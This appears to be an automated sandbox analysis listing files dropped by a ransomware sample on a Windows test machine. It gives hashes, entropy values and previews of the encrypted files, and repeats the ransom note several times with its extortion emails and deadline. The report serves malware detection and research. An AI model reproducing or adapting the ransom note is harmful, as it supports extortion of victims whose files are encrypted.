Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\Public\AccountPictures\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	452
Entropy (8bit):	7.506786015528152
Encrypted:	false
SSDEEP:	12:PN8uVxO2x6XP/EPZrrlLfxI+OZe6mW34Y2fV/JPoZB:l8Km/EPvThOg6fu9BPoZB
MD5:	BF8EA9879DECCAE1ED2539FB5A2E156A
SHA1:	95867EC58F7426FFB44CEE84CD211FABAA9B068A
SHA-256:	77851D2D552801456DBFB56AAA3D012B23CE99EB308E690CDBFE3142FFBDD354
SHA-512:	7A0BF3CB5E69D66B31A51B5AD218A8535CC0E63BFD3EC6E6E0EF9DD84E28592ED857E9AF9DEB67CE6D0C6382A30E6DDE08FD16715676ADC618B83115F22F67C9
Malicious:	false
Preview:	'.k.e .... ...@......&.R-..g....."hT....'\|(D..:.b.......EA<.x.D....8+..M...+.....U.c.{k...Y..u].e.....kj.[\|........ ._\|.%.q..._..6.H>..R.Y.AO_.........I\|.-.@Kc.....`.pq...O#...X.Wr{....z@CB.DwF..,.n....V.uD..=...=..:......M..T.......*..=w..$D...}.X.............i...F...u1^..^.T(.H[.gs.#..6\|R.]m...c......P+.X.......}..e.d.......Ab.)..)..,..M(B........;....N[$....1.R..\|7..A..i...v...=...h..Lr.;....!.K....{.A..A.

C:\Users\Public\Desktop\Acrobat Reader DC.lnk Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	2380
Entropy (8bit):	7.924762528005838
Encrypted:	false
SSDEEP:	48:rsnn4MmTBEsoG0S5hGE4M9tOnljmYkup/f92QDuomTroP:oUTBEhu8zMjYJd2QqAP
MD5:	04AABDB2F52E6D1B9538C3FCB705AD4E
SHA1:	35688F72F209FC8E3F64C3F55D396340F8110A68
SHA-256:	1430B5095452BA23109ADD83105D70C54585BE481CDC0388BC0B4D597148B382
SHA-512:	D756CB4639AB3C39A0A191EEE4515007A29851D65881D54FB29E4A5153EDAD188F93E675F44DD7C1725E09C31AB13DA476A02CC274D8B7EB00B01FA74112E4D6
Malicious:	false
Preview:	...`&.U. ...)..=.,.......Ms...C...KE.../.._G.z.... .;).......pk.R...z..7@...j7.@.a..>.]..C......n.?4.S.g....=..;.C..T.....&U......Zxw..c}r."..?h...h...3NT<..J....3.....64.`.?.Km."...........^<.Ky#"b\|.7.Y._..A..8.W..yw...m..].U.3..S..I.i<. $..)I.k....%+\|..E.\|.)D...]...0,.3..M.l_.....l........$8....e...r.P.w.Z-6j......(s.....q..<N]w.....H.+.y.:.0@....tK.%.:.....<2-l-L/.. .a.)=K..p.........5..a...yd.N@._9-\|.D......S..S..V.,.7{..`..N.z.<..@4eg(....\|.uG...N..No..4u.J..A.......@...?...Y.....+...8Yf.....W.......8.....[......K'M...!e..Qq..~4;..L1.(...d?...%..Z.Q...O.A..V..j..5.M......./.....^...r.o...W...!..XC...3...:VtAp1Z..G..R.#..U.umU$.c.].+1.`0.&.hc....(.a$.S\|T..V6.......{....^.u=...l$D..0...bI.#...<0..Xdy.5:cVc..n.Rx....r.0.Z..<..u..mL'..t...!6.......2.....<[.o1.l....D.O...b..i..po...9..Y).r....8..l..v.'E.J.(...#..;vF.f5.M.\|@........IW.F..%..9.`.`A.p.._'1?......\|/..x..9..sm..`/....e?.o..o.P.`^w5dS...!S&{.......^.~...:...X.i.....J.....o

C:\Users\Public\Desktop\Google Chrome.lnk Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	2356
Entropy (8bit):	7.917944358340656
Encrypted:	false
SSDEEP:	48:Q0EsPFAoZrIfJfeGonaPK2/Bz8uZssoTO+kGGeAI6cVJJVcEF6DUZgpE:Q0EsP6CkhfYUEHO+SQJHRF6oZgy
MD5:	6DEA9FF483A2A20F14D2102D11B4D6FA
SHA1:	B34EFB53A15E167D6CA44A472349D40B841B0FC7
SHA-256:	57616EEA3DC9717A40A9AEB3A788428C27ECDFE4404849FE78BA64684EBFED51
SHA-512:	8CFFD352B12276B89611C37098FE27713AC6D4E42B04E1A75217B065CFACAFBF1682C8F8822FFA74F89C2C009D50822E8EA76CC7596603833D838FC899D7C9B4
Malicious:	false
Preview:	+I2.Z....v,..)....\\|..P...._.8..Y.&......?a...#.q..4...1....8..P,.!.........jtK.R.@.f\...0p8...qb....AC...C$...H5)5?p.[.e\|.D-%......#.J......O.E$..1s.$.?..e........I w.....L.~....."_..p1.}.a'.#Y..Gu......w!....G.?.)J../.B....,...4`..)/..n_1....v3...#."..y5...\|.OQ.._....Q...=...".}..&..isF)...._D..z..k.T.w...........h.k.._.?J...........N.....)8.Mq ..>.y.N9.H+q..O.rD'.M.z..P.\..R_g.....[/<.Q.7g6..K..OG;;7.6..>..PkB........?...K..fJ....>?F1......@...b...K.C....).Gc.;y...(v....w....U..2.b...F9.vy.....gZ.....d......t..hs.`>!ekg%.'.thx....Y=$.0.I.7...P.>^W$%..{.L.8.G...d.Ou..w\Z...V.['.Sb...........y..H..../@<..\|.M.W`.%..N......5.B&...b..\|m.'.h._...k.x..E.....BthG..te\..........'h...3.0...Q.0 ..jZ.#..6k.94v..8S......{.^.s.6...`.U..`D.C..In.q...'..].l.?......Y......V`.Tx..z..J[.m...vz..K(.x.U.......... .o..+....N....e.J{W...}&+..2....!0.[?.WW.......<XJ..F#.....76.2....P-.d..G......&6Kq)Djv.q....\.....o.".Y.jx.X.bQ.\|..lJ....P3..~G..."...l

C:\Users\Public\Desktop\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\Public\Desktop\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	430
Entropy (8bit):	7.444685024088969
Encrypted:	false
SSDEEP:	6:gehKn/hDaeP8tHlBkqQrMnIx+RxxELPzhIAisFJ7elILFT3E2MxHRnON+2BzmhT8:p8hhktFBkqU+Ixexx+G4FJeKp3I4Bzk4
MD5:	0461F249228E0062AEE9BA82CDB1B7A8
SHA1:	6286FD744E7B6AC2E980FBFAE5F85382F27EB6A4
SHA-256:	45C1C043D4A16115A2B2515215EEC0A661B3DEBD7F816B382E6E190ED805695A
SHA-512:	B5AB45F1573B2D12452B60DDD0F798E7E5F22CA6E1921AA0BCE0A898046CB2A249B3DE69DE8C98B5593E7762610C3F61E82501B55F9251EFABDF3C4E39AA3295
Malicious:	false
Preview:	...p.@...o.Lu..Db.....F...;....oQ....{...&s`..W/#.}.l..Z.A0.t..........g.o....&...Z.P....6.}...\|..%..u..{.....^...r.>.C....?Q...........2.P...K.....H\|..^.l..P.{.....s..U.!l(.TG.r....z./`..H.k..z..\<7+...<.r.?...i..DH .#.wJ.n...]....h..5.........\|.C.`,.....SQ.0.v...?..<...H.7..Ta.s...t......%.<.FX`.........;5u.#\|C...BF...2..c...F..P...!......TK....>+..n..$.....P.a....~C......-.(;n..CX.^5xY.$..+.CL..U.

C:\Users\Public\Documents\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\Public\Documents\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	534
Entropy (8bit):	7.538678037775087
Encrypted:	false
SSDEEP:	12:rJdzu+ZUhaHXmyR6RHEKWHTwbDErqswcbSYl5lo:FJ0aHXmDGKWzwuqswGSYi
MD5:	82A159946125A79527F120EA158CC121
SHA1:	A2A898A117375212154B184DAFAF0AB52648BE30
SHA-256:	824C83CD350E3BFB86E1936C8AFE51CE8BFC1D9698823B276A4E6DFAF548E41E
SHA-512:	62DB548E7FCCE8A9B1964FA733527CD814C283130735EB630A5F4F97EB24E13EB3D0DF486A3D11786EF5244D5AFE3A48CEF89EC3920BA23DF6EAF33ECEB2DED2
Malicious:	false
Preview:	........6S.l..9.U........b.YJ..o....T.2....~.W....Z_..ts...)..HY...k$.....*3}.j..o..\.).`\.^Q.............[vit.....L....k..k..........n.SG..+J.3!.9.......~...@.=}..\....b......C..8[....<..I.v.J[T'...&.tG.`..Q.....Y..k.Q...p...D....u...W?...~(.F...!.Z....B.T1..p..u.I.k.q......v~.......+..3.@.<BX31..=!....j....&@w.!.f.b..kEw...WNq$.1.+Qf.....Jw...f.".......i....".6..A.[.....b.....{h..>^.....D..xQ(....G..%.)...W..NM.4.......eP.Y>D....H'..F..o.=I...(J.....$Tb.p...Z.9.......".7.1..m..BH4.....D.../.b..N8..

C:\Users\Public\Downloads\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\Public\Downloads\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	430
Entropy (8bit):	7.469907467385239
Encrypted:	false
SSDEEP:	12:5u6ZgGTPwBDFyJTJhEcAiS7beDtwIC5LVpgMt:5ufFoXEcAJswIC5LVCMt
MD5:	B8AC9923DB88CAA9D80E520D6B069A4D
SHA1:	FF13305B2E09D0C59D5689CF032C3AAA3AB99D88
SHA-256:	1C35106901000BF58E3B7B75E99E0B22FDBAD038944F5D946FA12D9312B64031
SHA-512:	5CB8A036A67890DAB6DD87C25C940A54DD934789AAAFF96EF7CF86057FBC29F4179815E6639CAE79DF3C9D03AF75C1FA9AD908219F9E4BF56B27D22452F49046
Malicious:	false
Preview:	.H9.;..2..vIH...m}jI...8RmE.C..wdDp..L....8.&.iu.G.6..P.......5.}.P2....b.'.A.xe...L.....2.CVj.l...Y..h..NX....R'F.H,x....\......Pk"-..........YB.....D..x..c..t5.;.FT.O.j2.u...R...AYuPO.E.....}..k<.`5...Q=..ANqugo....F.......;......c..UV...8z.^D..q?...(........".p.z..%@4`.ACCEN......O.@..R..^.....b1...]........V>..4.3.+....H.T..zc.D5.O;....\|A. G%L.\...Q,....YN...#..Y...%..)....'.....5..+.....H.K....2I

C:\Users\Public\Libraries\RecordedTV.library-ms Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1255
Entropy (8bit):	7.847630976071928
Encrypted:	false
SSDEEP:	24:1ru+M/W1CZ9KoRBTavPEBfHypmQxOYyTZsZZSuN5UsnXSoYyF:4+MOc7RRBKPEBfH5aOvZsZ3PTXy8
MD5:	CEE44C58C657608A1D74D2AA15D050C7
SHA1:	7F663837CE317217FD34178317A5C27C27167930
SHA-256:	FE35B8C26F9D6621E49CA6DA5F0B074736F134AA7F24BE14ECA0F714ECB94EAD
SHA-512:	B26D1AD1F5BADBE361ADBBDDB58B2BCB54A8081AF167C9A70D8C94D3791A26C5F88E89DE81ED1E5D2F864F1B74F3A0F2B20635EB047DCC05668178C155AC4A5C
Malicious:	false
Preview:	..}..O.@...X..R.'....=#.s.o=%.........qfF..^.2.....3.>....<..,.p..t.M^/C..b.l.x..V....&.P.v.{..,Eq.~..k>^...-..j.m.lt.;.iE#....s]{\.,;...3.ot...aX.p.J.s.g..\..]...N.BC}..e....~...k.v..0..:>x...M..S.!..c?..+....(u.en.e:..5.e...~...%.+j!....'.+3..c^r.1.%......7........`.S._.....G..M...a/A$.....L..N.....w.v..z0.........\|...b.[..F...~.(...6".nR@..........\|.G....Rl...5.......6/x...V.<D&X.T.2.T....3........h.j..Q. gq..........E.3....5. .i..#VBR.t6..B......GgM.n......O.M.3+.m..C.~q....H.....n8]j.wKd.......>.B).G(?.6..C.s..<..S..Z.h-.Z.iU....{<...m......E.UO.:.e@..%.O.0!.W........2...A.C6.T{..Ac}.7~.u..d.jM...G.=T>..8.....Q .`.u....\|.oH.."S]2....._..R)...G...i.Lj....8....m.=^:.`......2...~.....o`>Y...u..4].#3.U2.......9.q.&.....5F..:......w.[I........O..U..Z.6.&...S.."......s7X.....Bx.=(.....E.........W.Q...."....D.KU...C3K.D...........<.n.L]d$..G.....\`A'F.C...e...s...(l...Q.>.Oo.O....6xR>A.h_L....Kn..#!.[.k&..$..D`...g...9.EO...N.....}.L..

C:\Users\Public\Libraries\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\Public\Libraries\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	431
Entropy (8bit):	7.507500121720375
Encrypted:	false
SSDEEP:	6:EbS+rGCxthZvn34N+sHP8skf00YEy4se04/KHEvUgxZBXn5BsLtlJJV10ISlVOmi:EbJFZv34NnP8FycT0IV5mbV1jSlVOT
MD5:	C0153AF0BDB5840CAA241DFEC1E8ED62
SHA1:	386C64C2FDC363E98AD2139168682BE6ECC137E0
SHA-256:	A0727DD60B75164170BAB1F894B4BC502651A9A9D747CC6F2178ECBE7BEBFBF6
SHA-512:	9E2F58FF0F2685C4D4B8D0AD9348DDD49606C69E8810540937A03DE650F195E72222104802E9D12BC98D1460E36ED1596D0A8DDD83992A1A7DFCB43A33D2D5B2
Malicious:	false
Preview:	B..M.....V.+IA......Q.....1......../-...Wu./.......j..m_........9..."....0N.7.q..h(..lF....P"............-.l.u..%..... m.n.....G.l....:%m.>..L..K.#./..~5.H:Y'mR.@......[.c.#.vQM.B.}.../J...A.D...}......@}u\..s.)...:..q.&..k...l..m2,_.G........{_/.L8w.m.3..U...P.d..x......6.2+.......X.q.#9.~..J....m\..5.m.e)g..;PV.?..?...QG......$A6r...Bf.w:..-.. ....>. #p...V.....M3.P......dm...........0..y...k..g..E.

C:\Users\Public\Music\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\Public\Music\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	636
Entropy (8bit):	7.693478315802624
Encrypted:	false
SSDEEP:	12:anKd+kPAjpdkt5X95H9iztshZzuwfDQ0DA7Kk7ots2eHm:anK9ka5HwztibfD5DA75r2im
MD5:	89E6E78D713E60E936D102187FA6B6E1
SHA1:	A745616FD29FD9E98CBFE29DFFBA58A337397ABC
SHA-256:	261B730AA9B8BEFD9E16FA744F0F20A6172978161B9F4112E523DEC763766F94
SHA-512:	0D289E30268355E9AD7D2B7AC336205C4524DF425C8CFA906AD38CBE22F37CD533AE220EBFBCAB3F8F6EBC924FB9611C58FF5C9117848DD09CF9CD02EBB4EA5D
Malicious:	false
Preview:	.....t..ju3H.../............IN..N.b.>.+.J_...-..'!'.....?F..5:....E.0q."$v.K.F.\|yz.(..O..J:mPI...0nq..^.....Hx_....n@B.."..6.........N5.kq.G.q.^>./..O...._l....R.]...7=..{..!.j.....t...J.Q..\|.2%D()D...s.(B..}m..FA..(y]....{..V6=.L..Rn..\|....l.n.2?\|.&..3G.:q....u..E.]F.. .vo.......)...i.........N..qT6.#......<.!.g.#......L.?.,2....p..U[.\/..o..f/M?..`.s....l..s.v..9h....Qa.....H.s.\|V......(.....l..!e.m...Z<..O.?.8.,..v.......6.d..D...I.%.c.....Dw..9'.[W.'..=.n.H.3e..].'.^..;.I./{.R...%.;..AHu...p.. >..C.t^....>A..U.N.........>k.....T_o....Q...l..SMUO.L....E.H.......pX..-.uV....$2,...6.....6v

C:\Users\Public\Pictures\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\Public\Pictures\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	636
Entropy (8bit):	7.666860985906011
Encrypted:	false
SSDEEP:	12:X+cWk3ZW6VP3xg+QXoVLUBHK8ep/S+j+ugxuXlzHg:OcWsrxhgnHK8epF+vxuXlzg
MD5:	68EB7637BA0DB1E583F723536751E00E
SHA1:	B7C93D163F5BCB7C900781C3555F1B777C09711C
SHA-256:	CF985B57A9BAE846D07427D3CA5E89DE2B4B3EA6B6DEF4BB093409CCADF04788
SHA-512:	7575587B026BE83A99951203E98C29D31D849B607F1C318E2EA0239968A2E7C1CAE56BB24C7EB331D63158C4FD66AF15D900B87A067D44A7C498F3A4E90024F3
Malicious:	false
Preview:	.7%k.b......._._......O....2...E.N.C.....ZC.....x.%..#..f.h..&../.........<J......z...?..-(......R%...&`z_.._...........p.tQ....C......'...+o..M...h.F...D/.g.G.j.W.....b....ry...9.O...z......4.D.P.......{..nYH..C.d..O..x....!_.DR.....~%T...j....$.~..2(.B....T.f.fx..........e..F%.[ED..:...m....[m...a)a..7....RQ....fo..).......M....q1r.b1......$.:\|k7qt. ...a..%m$B....Q.....io]..Y$.[s...d.7.et...3..-@.j.+h...'.....Y.Lb............G.Z...:3.5.L9.}r!.UjM.T.a.i.Y.?......WYS.4C/.~.R.r\|uR.........Q0.1..4....".. <7.....S..N6.)S.......4?#[.vg........@`..jq.3....x...d.").....&..J[.\A..C.\O,I..

C:\Users\Public\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\Public\Videos\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\Public\Videos\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	636
Entropy (8bit):	7.616703541676624
Encrypted:	false
SSDEEP:	12:h0IGU7vCb0HLd61ty/h5GvCArrbmYSskZ2n5cYHCzVU9LGPpnMiAxJtk:hbP2bAEbqArrbDSsny8qV8LGpyJW
MD5:	B903AE4B9428E538E9A0799C5DBCC10F
SHA1:	E26447C8B9E44AD8BA268F8801ED4B11FE2C1C77
SHA-256:	FAE8CB12956B6BEA1CB24A1B43ACFD3776835ADF16C281DBFAF0A0982EBE63F9
SHA-512:	EB70E30F4045ECC3052026F3FD3DBE844EB3B43E3ED29478BDCEE8C92353CF24AC8A2D4CC2B7FD858C3CA97460BDE88139E08B02E4E11FAB1B01C71FF941D6EC
Malicious:	false
Preview:	.~v:(F.ms.\m>.M.:....[..y_?:...g...Z..)P....v.(...-I.q>.=.y.t.@.}.\|hx.....q.w...U%..->d....M..NC.y...gu.m.k...6.......&....?.....\F...`...Na.`Bm.Y.u.9.. M4..WE...<..w.M.h.....v...GW.oI....T.5.]..\|:..q...VT2..A$$...Ht.U..q...4...4.N.... .R.N..Hr..Ys}8......m7+m+...S...f.>}..z.(....4F1(&)..=jP.."...9&{1..(h.d.u...Y..v.m...VC..BL..{.......rW..s........g...$W.y.7.. ;....x.w..{.H.+.. .....&..n...~.`.5E4..+..6.:z>.Yy.\w-..........Nz.77.I.X..X.9.L...`x.......Z.7......~..F..e2.?...s.H<B..;&.56U.o.>......^...xc.;..cVV.....f5#:.G.v.lU.A.W./...{G.+.L.Nr.eE...v.uK...P9..aOV..c...Z].+..PO...2..l....p^..

C:\Users\Public\desktop.ini Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	430
Entropy (8bit):	7.485637676355102
Encrypted:	false
SSDEEP:	12:PjrP9xmw2FuL39lv1qrxiZK573flLPlWP:PjrlAwxL39J1qrkKBdLoP
MD5:	B06303B8DB0A60434E0525DB2581099C
SHA1:	753E85F343ED3510FEB8B4DEE447DDD10E2D97FC
SHA-256:	3907404419E3E8E3A3984B531E40B0DD24F041F2FC38C934178A4BFD2AE5E75F
SHA-512:	0069BB548D1F58E412877CD85BF3E2851BC5701BCB0EA79048AB8F082F168B13BD5A1E7C7A8A0183F3A4D4FC90E6E29572E78D5DF36D219471E21059A290653F
Malicious:	false
